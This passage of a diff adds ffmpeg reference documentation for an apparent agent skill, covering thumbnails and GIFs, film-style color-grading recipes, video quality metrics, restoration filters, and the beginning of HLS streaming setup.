+Needs a render node and the right driver (iHD for modern Intel, Mesa for AMD).
+The `format=nv12,hwupload` dance is mandatory — software frames must be uploaded.
+
+## Hardware DECODE (often the better win)
+
+Decode acceleration helps any pipeline bottlenecked on reading high-res sources
+(4K HEVC preview/thumbnail/analysis jobs), independent of encode choice:
+
+```bash
+ffmpeg -hwaccel auto -i 4k_hevc.mp4 -vf scale=1280:-2 -c:v libx264 -crf 20 out.mp4
+```
+
+`-hwaccel auto` falls back to software silently — safe to include by default.
+Caveat: filters run on CPU frames unless you keep the pipeline on-GPU
+(`-hwaccel_output_format cuda` + `*_cuda` filters); mixing GPU decode with CPU
+filters costs a download/upload round trip and can be *slower* than pure CPU for
+filter-heavy graphs. Measure before assuming.

+ 94 - 0
skills/ffmpeg-ops/references/images-gif.md

@@ -0,0 +1,94 @@
+# Images, GIFs, frames — thumbnails, sprites, datasets
+
+## Thumbnails
+
+```bash
+# at a timestamp (input-side -ss = instant, even 2h into the file):
+ffmpeg -ss 00:12:05 -i in.mp4 -frames:v 1 -q:v 2 thumb.jpg
+
+# "a representative frame" — the thumbnail filter scans and picks:
+ffmpeg -i in.mp4 -vf "thumbnail=300" -frames:v 1 thumb.jpg
+
+# one per chapter/scene: feed timestamps from detect-segments.py --scenes:
+python skills/ffmpeg-ops/scripts/detect-segments.py --scenes --json in.mp4 \
+  | jq -r '.data.cuts[]' | while read -r t; do
+    ffmpeg -y -v error -ss "$t" -i in.mp4 -frames:v 1 "thumbs/scene_${t}.jpg"
+  done
+```
+
+`-q:v` for JPEG: 2 ≈ excellent … 31 ≈ awful. PNG/WebP/AVIF by extension
+(`-c:v libwebp -quality 85`, AVIF needs libaom/libsvtav1 still support).
+
+## Contact sheets & sprite sheets
+
+```bash
+# contact sheet: 1 frame / 10s, 4x3 grid (visual summary of a video):
+ffmpeg -i in.mp4 -vf "fps=1/10,scale=320:-2,tile=4x3" -frames:v 1 sheet.png
+
+# scrub-preview sprite sheet for a web player (1/s, 10x10 pages, numbered):
+ffmpeg -i in.mp4 -vf "fps=1,scale=160:-2,tile=10x10" sprites_%02d.jpg
+# (player WebVTT thumbnail tracks map time -> sheet offset: t seconds = tile t%100)
+
+# GOTCHA: tile fed from an IMAGE-SEQUENCE input (-i seq_%02d.png) partial-fills
+# the grid on some builds (observed: ffmpeg 8.0 Windows) even though every
+# frame decodes. Deterministic fallback = explicit stack graph:
+#   ffmpeg -i a.png -i b.png ... -filter_complex \
+#     "[0:v][1:v][2:v]hstack=3[r0];[3:v][4:v][5:v]hstack=3[r1];[r0][r1]vstack=2"
+```
+
+## GIF (the palettegen discipline)
+
+GIF is 256 colors with no partial transparency; quality is *entirely* about the
+palette and dithering:
+
+```bash
+# single-pass via split (fps and scale BEFORE palettegen — palette should be
+# computed on the frames that will actually be in the GIF):
+ffmpeg -ss 5 -to 8 -i in.mp4 -filter_complex \
+  "fps=12,scale=480:-1:flags=lanczos,split[s0][s1];[s0]palettegen=max_colors=128[p];[s1][p]paletteuse=dither=bayer:bayer_scale=4" \
+  out.gif
+```
+
+Size levers, in order of impact: duration → dimensions → fps (8–15 is plenty) →
+max_colors → dither (`bayer` smallest, `floyd_steinberg`/`sierra2_4a` prettiest).
+`palettegen=stat_mode=diff` helps when only a small region moves.
+**Modern check first:** most "GIF" destinations (Slack, GitHub, web) accept MP4 or
+animated WebP at a tenth the size — `-c:v libwebp -loop 0 -quality 80 out.webp`.
+
+## Frame extraction
+
+```bash
+ffmpeg -i in.mp4 frames/%06d.png                       # every frame
+ffmpeg -i in.mp4 -vf "fps=2" frames/%06d.png           # 2 per second
+ffmpeg -i in.mp4 -vf "select='eq(pict_type,I)'" -fps_mode vfr keyframes/%04d.png
+ffmpeg -ss 12.500 -i in.mp4 -frames:v 1 exact.png      # the frame at 12.5s
+```
+
+## ML dataset prep
+
+```bash
+# fixed-rate, model-square (center crop), consistent naming:
+ffmpeg -i in.mp4 -vf "fps=1,scale=512:512:force_original_aspect_ratio=increase,crop=512:512" \
+  ds/vid01_%06d.png
+
+# letterbox instead of crop (keep full frame):
+-vf "fps=1,scale=512:512:force_original_aspect_ratio=decrease,pad=512:512:(ow-iw)/2:(oh-ih)/2"
+
+# dedupe near-identical frames (slideshows, talking heads) before extraction:
+-vf "mpdecimate,fps=1" -fps_mode vfr
+```
+
+PNG for training (lossless); JPEG `-q:v 2` only when storage forces it. Keep the
+source-time mapping recoverable: either fixed fps (frame n ÷ fps = seconds) or
+`-frame_pts 1` to name files by PTS.
+
+## Sequences → video
+
+```bash
+ffmpeg -framerate 24 -i frames/%06d.png -c:v libx264 -crf 18 -pix_fmt yuv420p out.mp4
+ffmpeg -framerate 24 -pattern_type glob -i 'shots/*.png' ...   # unnumbered names (not on Windows cmd)
+```
+
+`-framerate` (input, before `-i`) sets how fast stills are read — forgetting it
+gives the 25fps default regardless of intent. And `-pix_fmt yuv420p` again: PNG
+sources otherwise produce yuv444p output (see [color-hdr.md](color-hdr.md)).

+ 382 - 0
skills/ffmpeg-ops/references/look-recipes.md

@@ -0,0 +1,382 @@
+# Look recipes — matching named aesthetics
+
+Known-good starting points for recognizable looks, plus the two techniques for
+matching a look you can *see* but can't name (Hald-CLUT, scope-matching).
+Workflow, scopes, and LUT machinery: [color-grading.md](color-grading.md) —
+normalize log footage to Rec.709 FIRST, grade second.
+
+Two delivery forms per look: **LUT** (consistent, reusable —
+`gen-luts.py --variants <name>` where a parametric variant exists) and
+**direct filter chain** (tweakable per shot). Values are starting points for
+normal-exposure Rec.709; expect ±30% adjustment. `colorbalance` options are
+per-band per-channel: `rs/gs/bs` shadows, `rm/gm/bm` midtones, `rh/gh/bh`
+highlights, each −1..1.
+
+**Skin-tone caveat** (verified on the Kodak test portraits): looks that deepen
+shadows — kodachrome, noir, bleach bypass, day-for-night, horror — crush
+facial detail in darker skin. Lift midtones first (`eq=gamma=1.05` to `1.15`
+before the look) and verify on the waveform that face luma stays in the
+~25–65% band. Always test a grade on the *darkest-skinned* person in the
+footage, not the lightest.
+
+**Contents:** [Film stocks & processes](#film-stocks--processes) ·
+[Signature movie grades](#signature-movie-grades) ·
+[Era looks](#era-looks) · [Genre & mood](#genre--mood) ·
+[Stylized effects](#stylized-effects) ·
+[Matching techniques](#matching-a-look-you-can-see-but-cant-name) ·
+[At scale](#applying-any-of-this-at-scale)
+
+## Film stocks & processes
+
+### Kodachrome
+High contrast that deepens in the shadows, warm reds, glowing skin — the
+mid-century slide look:
+```bash
+-vf "curves=master='0/0 0.25/0.20 0.75/0.78 1/0.98',colorbalance=rh=.04:rm=.02,eq=saturation=1.15:contrast=1.08"
+```
+Scope: shadows genuinely DARK (waveform floor at 0), skin warm of the I-line.
+
+### CineStill 800T (with halation)
+Tungsten-cool base + the signature red-orange glow bleeding around bright
+lights. The glow is a composite, not a color shift — extract highlights, blur,
+tint red, screen-blend back:
+```bash
+# Three load-bearing details, all visually verified: (1) format=rgb24 pins the
+# split — float filters like colortemperature push the negotiated format past
+# 8-bit and the branch's auto-conversions then corrupt into a full-frame
+# magenta wash; (2) the threshold is maxval-relative so it survives any bit
+# depth; (3) u/v are forced neutral so only luminance carries into the halo.
+# Scale sigma with resolution (~14 at 1080p); raise rr toward 1.5 for a
+# stronger glow.
+-filter_complex "[0:v]colortemperature=temperature=7800,eq=saturation=0.95,format=rgb24,split[a][b];[b]lutyuv=y='if(gt(val,0.78*maxval),val,0)':u='(maxval+minval)/2':v='(maxval+minval)/2',gblur=sigma=14,colorchannelmixer=rr=1:gg=0.3:bb=0.15[halo];[a][halo]blend=all_mode=screen"
+```
+Only reads as 800T on footage WITH point lights/neon in frame. Scope: cool
+centroid, but red channel spikes hugging every highlight.
+
+### Technicolor 2-strip (1920s)
+The whole world collapses onto a red↔cyan axis (no blue/yellow existed):
+```bash
+-vf "colorchannelmixer=rr=1:gg=.6:gb=.4:bg=.4:bb=.6,eq=saturation=1.2:contrast=1.1"
+```
+LUT form: `gen-luts.py --variants technicolor2`. Skies go teal, lips go
+lipstick-red, yellows die — that's correct, that's the look.
+
+### Technicolor 3-strip (glorious era)
+Lush saturated primaries, marble-glow skin, no cast:
+```bash
+-vf "vibrance=intensity=0.35,eq=contrast=1.12,curves=master='0/0.01 1/0.99'"
+```
+`vibrance` (not `eq=saturation`) is the point — it boosts muted colors while
+protecting already-saturated skin.
+
+### Fuji Eterna
+The modern "cinema flat" — low saturation, low contrast, long highlight roll:
+```bash
+-vf "eq=saturation=0.82:contrast=0.92,curves=master='0/0.05 0.7/0.66 1/0.93'"
+```
+
+### Cross-process (E6-in-C41)
+Green-yellow highlights, cyan-blue shadows, punchy contrast — the skate-video
+look:
+```bash
+-vf "curves=r='0/0 0.5/0.42 1/0.95':g='0/0.03 0.5/0.52 1/1':b='0/0.12 0.5/0.50 1/0.85',eq=saturation=1.2:contrast=1.1"
+```
+
+### Sepia (the real matrix, not a tint)
+```bash
+-vf "colorchannelmixer=rr=.393:rg=.769:rb=.189:gr=.349:gg=.686:gb=.168:br=.272:bg=.534:bb=.131"
+```
+LUT form: `gen-luts.py --variants sepia`. For *toned* B&W instead (sepia
+highlights, neutral shadows): `hue=s=0,colorbalance=rh=.12:gh=.06`.
+
+### Vintage film fade (Kodachrome-adjacent print fade)
+`gen-luts.py --variants film_fade`, or built-in `curves=preset=vintage`.
+Waveform floor ~5–8%, never 0. Sell it with `,noise=alls=6:allf=t+u`.
+
+## Signature movie grades
+
+### Blockbuster teal & orange (Transformers-era default)
+Skin warm, shadows teal — complementary separation. `gen-luts.py --variants
+teal_orange`, or:
+```bash
+-vf "colorbalance=rs=-.06:bs=.08:rm=.04:bm=-.03:rh=.05:bh=-.06,eq=saturation=1.12"
+```
+Vectorscope: two lobes, skin ON the I-line. Fails on faceless footage and
+tungsten interiors.
+
+### Mad Max: Fury Road (graphic-novel chrome)
+Not bleached apocalypse — the opposite: hyper-saturated teal/orange, crunchy
+contrast, sharpened grit:
+```bash
+-vf "eq=saturation=1.4:contrast=1.25,colorbalance=rs=-.08:bs=.10:rm=.06:rh=.08:bh=-.08,unsharp=5:5:0.8"
+```
+(Night scenes in the film are graded BLUE day-for-night — combine with that
+recipe below.)
+
+### The Matrix (digital green)
+Green pushed into midtones+shadows, slightly sick skin, crushed-but-readable:
+```bash
+-vf "colorbalance=gs=.05:gm=.08:gh=.03,eq=saturation=0.85:contrast=1.10,curves=master='0/0.02 1/0.95'"
+```
+LUT form: `gen-luts.py --variants matrix_green`.
+
+### Fincher (Se7en/Gone Girl murk)
+Cool, green-yellow undertone, HIGHLIGHTS PULLED DOWN (nothing ever blooms),
+shadow detail retained:
+```bash
+-vf "colortemperature=temperature=6800,colorbalance=gs=.02:gm=.03:bh=-.04,eq=saturation=0.90:contrast=1.08,curves=master='0/0.01 0.8/0.72 1/0.90'"
+```
+Scope: waveform ceiling ~90%, never 100 — the pulled highlight IS the look.
+
+### O Brother, Where Art Thou? (sepia wasteland)
+The first full-DI grade: desaturated, golden-burnt, green grass turned hay:
+```bash
+-vf "eq=saturation=0.65,colorbalance=rm=.08:gm=.04:bm=-.08:rh=.06:bh=-.06,curves=master='0/0.03 1/0.95'"
+```
+
+### Amélie (golden Paris)
+Warm gold + a deliberate green undertone, high saturation, cozy:
+```bash
+-vf "colorbalance=rm=.06:gm=.05:bm=-.06:gs=.04,eq=saturation=1.25:contrast=1.08"
+```
+
+### Blade Runner 2049 (orange smog)
+A monochromatic orange ENVELOPE — everything breathes the same dust:
+```bash
+-vf "colorbalance=rm=.10:gm=.03:bm=-.12:rh=.08:bh=-.10,eq=saturation=0.90:contrast=1.05,curves=master='0/0.04 1/0.96'"
+```
+The interior-neon scenes are the [neon night](#neon-night--cyberpunk) recipe
+instead — the film alternates the two.
+
+### Twilight (melodrama blue)
+The heavy blue wash:
+```bash
+-vf "colortemperature=temperature=9500,colorbalance=bs=.08:bm=.06,eq=saturation=0.75:contrast=1.05"
+```
+
+### In the Mood for Love (crimson & emerald)
+Reds and greens saturated past realism, everything else muted — color as
+character:
+```bash
+-vf "vibrance=intensity=0.5:rbal=1.6:gbal=1.2:bbal=0.4,eq=contrast=1.10,curves=master='0/0.02 1/0.97'"
+```
+
+### Fantastic Mr. Fox (autumn box)
+The whole frame inside yellows/browns/oranges, cool tones nearly banned:
+```bash
+-vf "colorbalance=rm=.07:gm=.04:bm=-.10:rs=.03:bs=-.06:bh=-.08,eq=saturation=1.1:contrast=1.05"
+```
+
+## Era looks
+
+### Golden hour / filmic warm
+`gen-luts.py --variants golden_hour` (or `warm_filmic` subtler), or:
+```bash
+-vf "colortemperature=temperature=4400,colorbalance=rh=.05:rm=.03:bh=-.03,eq=saturation=1.08,curves=master='0/0.02 1/0.97'"
+```
+Whites stay ≤ ~10% off-center on the vectorscope; highlights unclipped.
+
+### Pastel (Wes Anderson)
+`gen-luts.py --variants pastel`, or:
+```bash
+-vf "eq=saturation=0.72:contrast=0.88:brightness=0.04,curves=master='0/0.08 1/0.92'"
+```
+Half art-direction — only reads on composed frames. Waveform lives in 8–92%.
+
+### 70s cinema (warm faded New Hollywood)
+Film-fade plus era warmth and soft contrast:
+```bash
+-vf "curves=master='0/0.06 1/0.92',colorbalance=rm=.05:gm=.02:bh=-.04,eq=saturation=0.92:contrast=0.96,noise=alls=7:allf=t+u"
+```
+
+### VHS / camcorder
+Color is a third of it — softness and chroma error carry it:
+```bash
+-vf "eq=saturation=0.85:contrast=0.95,curves=master='0/0.06 1/0.94',gblur=sigma=0.6,chromashift=cbh=2:crh=-2,noise=alls=10:allf=t"
+```
+Full commitment: `scale=640:480,setsar=1` + `-ar 32000` audio.
+
+## Genre & mood
+
+### Film noir (B&W)
+```bash
+-vf "hue=s=0,eq=contrast=1.25:brightness=-0.02,vignette=PI/5"
+```
+LUT: `gen-luts.py --variants noir_bw` (+ `vignette` at apply time — spatial
+ops don't fit in a LUT). Red-filter sky drama: `colorchannelmixer=.7:.2:.1`
+before `hue=s=0`. Waveform must use the FULL range — noir is contrast.
+
+### Bleach bypass (war grit)
+`gen-luts.py --variants bleach_bypass`, or
+`eq=saturation=0.45:contrast=1.3,unsharp=5:5:0.4`.
+
+### Horror sick-green
+Desaturated, green-poisoned shadows, everything slightly too dark:
+```bash
+-vf "colorbalance=gs=.05:gm=.04:rs=-.03,eq=saturation=0.70:contrast=1.15:brightness=-0.05"
+```
+
+### Grimdark battlefield (worked scope-extraction example)
+Extracted from a real graded reference (a 1080p fantasy-series trailer) with
+the [scope-matching ladder](#scope-matching-align-to-a-reference-clip-by-numbers)
+run in reverse — measure the reference with `signalstats`, then tune until
+your footage's numbers land in the same band. Measured (1,261 frames, cleaned
+per the caveats below): **SATAVG ≈ 7** (vivid footage runs 30–60),
+**UAVG 125.6 / VAVG 129.8** (a *warm-ash* cast — not blue), day exteriors
+**YAVG ≈ 110** with global ≈ 58 (night scenes), blacks ≈ 7:
+```bash
+-vf "eq=saturation=0.33,colorbalance=rm=.02:gm=.012:bm=-.02,curves=master='0/0.03 0.5/0.42 1/0.95'"
+```
+LUT form: `gen-luts.py --variants grimdark` (calibrated to the day-exterior
+key; deepen `curves` mids toward `0.5/0.30` for the night cluster). vs Nordic
+noir: grimdark is warm-ash; Nordic is cool and flatter.
+
+**Measuring a trailer (or any edited reference) honestly:**
+1. **Crop the letterbox first** (`cropdetect`, then `crop=`) — baked bars drag
+   every luma stat down.
+2. **Drop fades/title cards**: filter per-frame stats to `YAVG > 25` before
+   averaging, else cut transitions poison the mean.
+3. **Expect scene clusters**: shows grade per scene-type (this reference's
+   banquet interiors are warm amber, nothing like its exteriors). The
+   *chroma fingerprint* (SATAVG + U/V cast) is usually consistent — transfer
+   that globally; match *key* (YAVG) per scene-type, never to the global mean.
+4. Verify a transfer by re-measuring the graded result:
+   `ffmpeg -i graded.mp4 -vf signalstats,metadata=print:file=- -f null -`.
+
+### Nordic noir (Scandinavian bleak)
+Desaturated, cool, FLAT — the anti-blockbuster:
+```bash
+-vf "colortemperature=temperature=7500,eq=saturation=0.65:contrast=0.95,curves=master='0/0.04 1/0.90'"
+```
+vs Twilight blue: this one is low-contrast and barely saturated; Twilight is
+a saturated blue *wash*.
+
+### Romance soft glow
+Warm, lifted, gentle bloom on highlights:
+```bash
+-filter_complex "[0:v]colorbalance=rh=.04:rm=.02,eq=saturation=1.05:contrast=0.94,curves=master='0/0.05 1/0.97'[base];[base]split[a][b];[b]gblur=sigma=8[soft];[a][soft]blend=all_mode=screen:all_opacity=0.18"
+```
+
+### Neon night / cyberpunk
+```bash
+-vf "eq=saturation=1.25:contrast=1.1,colorbalance=bs=.15:bm=.05:rs=-.05,curves=b='0/0.08 1/1':r='0/0 1/0.95'"
+```
+Needs practicals/neon in frame; on daylight it's just a bad cool cast.
+
+### Day-for-night
+```bash
+-vf "eq=brightness=-0.15:saturation=0.55,colorbalance=bs=0.25:bm=0.12,curves=master='0/0 0.7/0.45 1/0.8'"
+```
+No visible sky/sun, no blown highlights, or it never sells.
+
+## Stylized effects
+
+### Sin City selective color
+Everything monochrome EXCEPT one hue (`colorhold` keeps a color, greys the
+rest):
+```bash
+-vf "colorhold=color=red:similarity=0.35:blend=0.1,eq=contrast=1.3"
+```
+Works for any anchor color (`color=0x00a0ff` etc.). High-contrast B&W base is
+what makes the held color violent.
+
+### Tone maps: monotone / duotone / tritone
+One mechanism, three intensities: desaturate, then re-map the tonal axis onto
+2 or 3 color stops with per-channel curves. **Chroma of the look = how far the
+stops sit from the neutral grey axis** — monotones barely leave it (darkroom
+chemical tones), muted duotones use tertiary/greyed pairs, poster duotones
+live far out. Every variant below is also a parametric LUT:
+`gen-luts.py --variants mono_selenium,tri_tobacco --previews footage.mp4`.
+
+The chain template (3 stops; drop the `0.5/` midpoints for a 2-stop duotone —
+stop values are the color's channels /255):
+```bash
+-vf "hue=s=0,curves=r='0/<Rs> 0.5/<Rm> 1/<Rh>':g='0/<Gs> 0.5/<Gm> 1/<Gh>':b='0/<Bs> 0.5/<Bm> 1/<Bh>'"
+# worked example — selenium monotone:
+-vf "hue=s=0,curves=r='0/0.05 0.5/0.48 1/0.96':g='0/0.04 0.5/0.46 1/0.95':b='0/0.07 0.5/0.52 1/0.97'"
+```
+
+| Variant | Stops (shadow → [mid →] highlight) | Use |
+|---|---|---|
+| **Monotones** (single chemical tone, near-grey chroma) | | |
+| `mono_selenium` | (.05,.04,.07) → (.48,.46,.52) → (.96,.95,.97) | Fine-print B&W with the cool violet selenium whisper |
+| `mono_platinum` | (.07,.07,.06) → (.52,.51,.49) → (.97,.96,.94) | Warm-neutral platinum print; the most archival-looking B&W |
+| `mono_coffee` | (.08,.05,.03) → (.55,.47,.40) → (.96,.92,.87) | Warm brown tone, gentler than sepia |
+| `mono_steel` | (.04,.06,.09) → (.46,.50,.55) → (.94,.96,.98) | Cool documentary B&W |
+| **Muted duotones** (tertiary pairs) | | |
+| `duo_ash_rose` | (.23,.20,.22) → (.85,.78,.76) | Fashion/editorial soft; flattering on skin |
+| `duo_olive_bone` | (.18,.20,.14) → (.90,.88,.81) | Field/military/heritage |
+| `duo_petrol_paper` | (.12,.23,.24) → (.93,.91,.86) | Calm tech/industrial editorial |
+| `duo_indigo_parchment` | (.16,.23,.33) → (.91,.89,.82) | Faded-cyanotype archival — the muted cousin of `duo_cyanotype` |
+| `duo_slate_ice` | (.11,.15,.20) → (.95,.97,.98) | Corporate/tech-keynote neutral |
+| **Poster duotones** (high chroma, deliberate) | | |
+| `duo_navy` | (.05,.08,.25) → (.98,.93,.80) | Editorial/magazine classic |
+| `duo_cyanotype` | (.04,.16,.29) → (.92,.96,1.0) | Blueprint/architectural |
+| `duo_sunset` | (.23,.06,.36) → (1.0,.78,.34) | Festival poster |
+| `duo_forest` | (.06,.24,.18) → (.91,.85,.63) | Organic/outdoor brand |
+| `duo_crimson` | (.10,.02,.03) → (1.0,.88,.86) | Sports/thriller key art |
+| `duo_synthwave` | (.35,.06,.42) → (.42,.91,1.0) | Retro-tech/vaporwave |
+| **Tritones** (distinct shadow/mid/highlight hues) | | |
+| `tri_split_classic` | (.06,.07,.12) → (.50,.49,.48) → (.98,.94,.86) | THE darkroom split: cool shadows, neutral mids, warm highlights |
+| `tri_tobacco` | (.05,.04,.02) → (.45,.40,.28) → (.95,.88,.70) | Western/whiskey-ad warmth with real blacks |
+| `tri_arctic` | (.03,.05,.09) → (.42,.50,.58) → (.93,.97,1.0) | Expedition/documentary cold |
+
+Tuning rules: contrast BEFORE the map widens the spread
+(`eq=contrast=1.1,hue=s=0,...`); to mute any variant, pull its stops toward
+the grey diagonal (average each stop with its own luma); the mid stop is where
+skin lives — keep it near-neutral unless the face *is* the poster.
+
+## Matching a look you can see but can't name
+
+### Hald-CLUT: grade one frame anywhere, get a video LUT for free
+A Hald image is a LUT unrolled into a PNG — any **global** color edit applied
+to it becomes applicable to video:
+
+```bash
+# 1. identity Hald (level 8 = 64^3 lattice)
+ffmpeg -f lavfi -i haldclutsrc=8 -frames:v 1 hald.png
+# 2. open hald.png in ANY photo editor with a still from your footage; design
+#    the look on the still; apply the IDENTICAL adjustments to hald.png
+# 3. the edited Hald IS your LUT:
+ffmpeg -i in.mp4 -i hald_graded.png -filter_complex "[0:v][1:v]haldclut" \
+  -c:v libx264 -crf 18 -c:a copy graded.mp4
+```
+
+**Stealing a look**: any editor preset / Lightroom recipe / .acv curve applied
+to the Hald identity is thereby extracted as a LUT. Photoshop curves apply
+directly too: `curves=psfile=their_grade.acv`.
+
+**The one rule**: only GLOBAL color ops survive — curves, levels, WB, HSL,
+balance, saturation. Spatial ops (vignette, sharpen, local contrast, dehaze,
+grain, healing) corrupt the lattice; do those in the filter chain.
+
+Fidelity note: visually identical, not bit-identical — the 8-bit lattice
+quantizes (measured SSIM ≈ 0.95 vs the same chain applied directly). For very
+steep curves prefer the direct chain or a 16-bit TIFF Hald.
+
+### Scope-matching: align to a reference clip by numbers
+ffmpeg has no automatic shot-matcher. **The governing rule: transfer the
+chroma fingerprint (SATAVG + U/V cast) globally — it's what stays constant
+across a graded work; match key (YAVG) per scene-type, never to the global
+mean** (night scenes drag any edited reference's average far below what a
+day scene should hit — see the grimdark example's measurement checklist).
+The manual ladder (scope views from [color-grading.md](color-grading.md),
+reference and target side-by-side via `hstack`):
+
+1. **Black/white points** (waveform): `curves=master='0/<floor> 1/<ceil>'`.
+2. **Midtone brightness** (waveform mass): `eq=gamma=`.
+3. **Cast** (vectorscope centroid): `colortemperature` + `colorbalance`.
+4. **Saturation** (vectorscope spread): `eq=saturation=`.
+5. **Verify on skin**: both clips' faces hug the I-line equally.
+
+Order matters — each step changes the reading of the ones after it; never
+start with saturation.
+
+## Applying any of this at scale
+
+One look across a project = bake the chain into a LUT once (`gen-luts.py`
+variant, or render the chain through a Hald identity and use `haldclut`
+everywhere). Match per-clip exposure FIRST with `eq`, apply the shared look
+second — the batch-consistency section of [color-grading.md](color-grading.md).
+Composite looks (halation, bloom) keep their spatial half in the filter chain;
+only their color half bakes into the LUT.

+ 73 - 0
skills/ffmpeg-ops/references/quality-metrics.md

@@ -0,0 +1,73 @@
+# Quality metrics — VMAF, SSIM, PSNR, visual A/B
+
+## The tool
+
+```bash
+python skills/ffmpeg-ops/scripts/quality-compare.py original.mp4 encoded.mp4 \
+  --metrics vmaf --min-vmaf 90        # exit 10 below threshold -> branch on it
+```
+
+Handles resolution mismatch (auto-scales distorted to reference), parses the
+filters' log output, returns one envelope. Use it instead of hand-running the
+metric filters.
+
+## Reading the numbers
+
+| Metric | Transparent | Good | Visible degradation | Notes |
+|---|---|---|---|---|
+| **VMAF** | ≥ 93 | 85–93 | < 80 | Perceptual model (Netflix); the one to trust. Trained at 1080p living-room viewing |
+| **SSIM** | ≥ 0.99 | 0.97–0.99 | < 0.95 | Structural; cheap, no libvmaf needed |
+| **PSNR** | ≥ 45 dB | 38–45 | < 35 | Naive signal ratio; only comparable between encodes of the *same* source |
+
+- Check VMAF **min** (worst moment), not just mean — a 95-mean encode with a
+  62-min scene has a visible glitch. `quality-compare.py --json | jq '.data.vmaf'`
+  reports mean/min/harmonic_mean.
+- VMAF on 4K-viewed-at-4K: use the 4K model variant if available in your build;
+  otherwise treat scores as optimistic.
+- Comparing two *different sources* with PSNR/SSIM is meaningless; metrics judge
+  an encode against *its own* reference.
+
+## Workflow: tune CRF mechanically
+
+Find the highest CRF (smallest file) that stays above your VMAF floor:
+
+```bash
+for crf in 20 23 26 29; do
+  ffmpeg -y -v error -i ref.mp4 -c:v libx264 -crf $crf -preset slow -an "t$crf.mp4"
+  python skills/ffmpeg-ops/scripts/quality-compare.py ref.mp4 "t$crf.mp4" \
+    --metrics vmaf --json | jq -r --arg c $crf '"crf=\($c) vmaf=\(.data.vmaf.mean) min=\(.data.vmaf.min)"'
+done
+```
+
+Encode a representative 60–90 s slice, not the whole file
+(`-ss <busy-section> -t 60` on both reference cut and encodes — cut the reference
+first so they align).
+
+## Visual A/B (the human half)
+
+```bash
+# side-by-side (label which is which!)
+ffmpeg -i ref.mp4 -i enc.mp4 -filter_complex \
+  "[0:v]drawtext=text='REF':fontsize=36:fontcolor=white:box=1:boxcolor=black@0.5:x=24:y=24[a];
+   [1:v]drawtext=text='ENC':fontsize=36:fontcolor=white:box=1:boxcolor=black@0.5:x=24:y=24[b];
+   [a][b]hstack" -c:v libx264 -crf 16 -an ab.mp4
+
+# difference view — what the encoder actually changed (grey = identical):
+ffmpeg -i ref.mp4 -i enc.mp4 -filter_complex "blend=all_mode=difference,eq=brightness=0.3" -an diff.mp4
+
+# wipe split-screen (left=ref, right=enc, hard seam at 50%):
+ffmpeg -i ref.mp4 -i enc.mp4 -filter_complex "[1:v][0:v]overlay=x='-W/2'" -an wipe.mp4
+```
+
+Where codecs fail first (look here in the A/B): dark gradients (banding), fast
+motion (blocking), fine texture like grass/water (smearing), red saturated areas
+(chroma 4:2:0).
+
+## When the numbers and your eyes disagree
+
+Believe your eyes, then find out why: wrong reference alignment (an offset frame
+ruins every metric — verify identical frame counts), range/matrix mismatch
+([color-hdr.md](color-hdr.md)) penalizing colors uniformly, or grain (encoders
+denoise; metrics partially forgive it, viewers notice). Banding specifically is
+under-penalized by all three metrics — check dark scenes by eye at viewing
+brightness.

+ 72 - 0
skills/ffmpeg-ops/references/restoration.md

@@ -0,0 +1,72 @@
+# Restoration — deinterlace, denoise, deband, stabilize, repair
+
+Order of operations: **deinterlace → denoise → deband → stabilize → grade →
+sharpen → encode.** (Stabilize after denoise: noise defeats motion estimation.)
+
+## Deinterlace (combing artifacts on motion = interlaced source)
+
+```bash
+# probe says field_order=tt/bb (or you see combing):
+ffmpeg -i dvd.vob -vf "bwdif=mode=send_field" -c:v libx264 -crf 19 out.mp4
+```
+
+`bwdif` beats the older `yadif`; `mode=send_field` doubles frame rate (50i→50p,
+correct for sports/motion), `mode=send_frame` keeps it (fine for films).
+**Telecined film** (24fps in 30i — duplicate-ish frames in a 3:2 pattern) wants
+inverse telecine instead: `-vf "fieldmatch,decimate"`.
+
+## Denoise
+
+```bash
+-vf "hqdn3d=4:3:6:4.5"        # fast, general (luma-spatial:chroma-spatial:luma-temporal:chroma-temporal)
+-vf "nlmeans=s=4"             # much slower, much better on heavy noise
+-vf "atadenoise"              # temporal-only; preserves detail on static shots
+```
+
+Start gentle (hqdn3d defaults), inspect at 100% zoom, increase until noise is
+acceptable — over-denoising produces the plastic-skin look that's worse than
+grain. For *intentional* film grain, don't denoise; encode with
+`-tune grain` ([encoding.md](encoding.md)).
+
+## Deband (visible steps in skies/gradients)
+
+```bash
+-vf "deband=1thr=0.015:2thr=0.015:3thr=0.015"
+# prevention on re-encode: 10-bit output kills most banding at the source
+-pix_fmt yuv420p10le   # (HEVC/AV1 — see color-hdr.md)
+```
+
+## Stabilize (vidstab two-pass; needs libvidstab — check capability-scan)
+
+```bash
+# pass 1: analyze motion -> transforms.trf
+ffmpeg -i shaky.mp4 -vf "vidstabdetect=shakiness=6:accuracy=15:result=transforms.trf" -f null -
+# pass 2: apply + crop the wobble margin + mild sharpen
+ffmpeg -i shaky.mp4 -vf \
+  "vidstabtransform=input=transforms.trf:zoom=2:smoothing=24,unsharp=5:5:0.6" \
+  -c:v libx264 -crf 19 -c:a copy stable.mp4
+```
+
+`smoothing` ≈ frames of camera-path averaging (higher = floatier); `zoom` crops
+the edges that stabilization exposes. The single-pass `deshake` filter is a
+quick-and-dirty fallback when libvidstab is absent.
+
+## Old/odd footage misc
+
+```bash
+# wrong speed (PAL 25fps of a 23.976 film, pitch off): retime v+a together
+-filter_complex "[0:v]setpts=PTS*25/23.976[v];[0:a]atempo=0.95904[a]"
+
+# VHS-style chroma bleed: mild chroma denoise + slight desat
+-vf "hqdn3d=0:6:0:6,eq=saturation=0.92"
+
+# duplicate-frame removal (bad pulldown, stuttery web rips):
+-vf "mpdecimate" -fps_mode vfr
+```
+
+## Audio repair
+
+Lives in [audio.md](audio.md) (highpass → afftdn → declick → compand chain). For
+damaged *files* (truncated/corrupt) see
+[analysis-validation.md](analysis-validation.md) — remux first
+(`-c copy -fflags +genpts`), repair second.

+ 74 - 0
skills/ffmpeg-ops/references/streaming-hls.md

@@ -0,0 +1,74 @@
+# Streaming — HLS/DASH packaging, ABR ladders, live restream
+
+## Single-rendition HLS VOD (the 80% case)
+
+```bash
+ffmpeg -i in.mp4 -c:v libx264 -crf 21 -preset slow -pix_fmt yuv420p \
+  -g 180 -keyint_min 180 -sc_threshold 0 \
+  -c:a aac -b:a 128k -ar 48000 \
+  -f hls -hls_time 6 -hls_playlist_type vod \
+  -hls_segment_filename 'out/seg_%04d.ts' out/index.m3u8
+```
+
+The keyframe rule is the part everyone misses: **segment boundaries must be
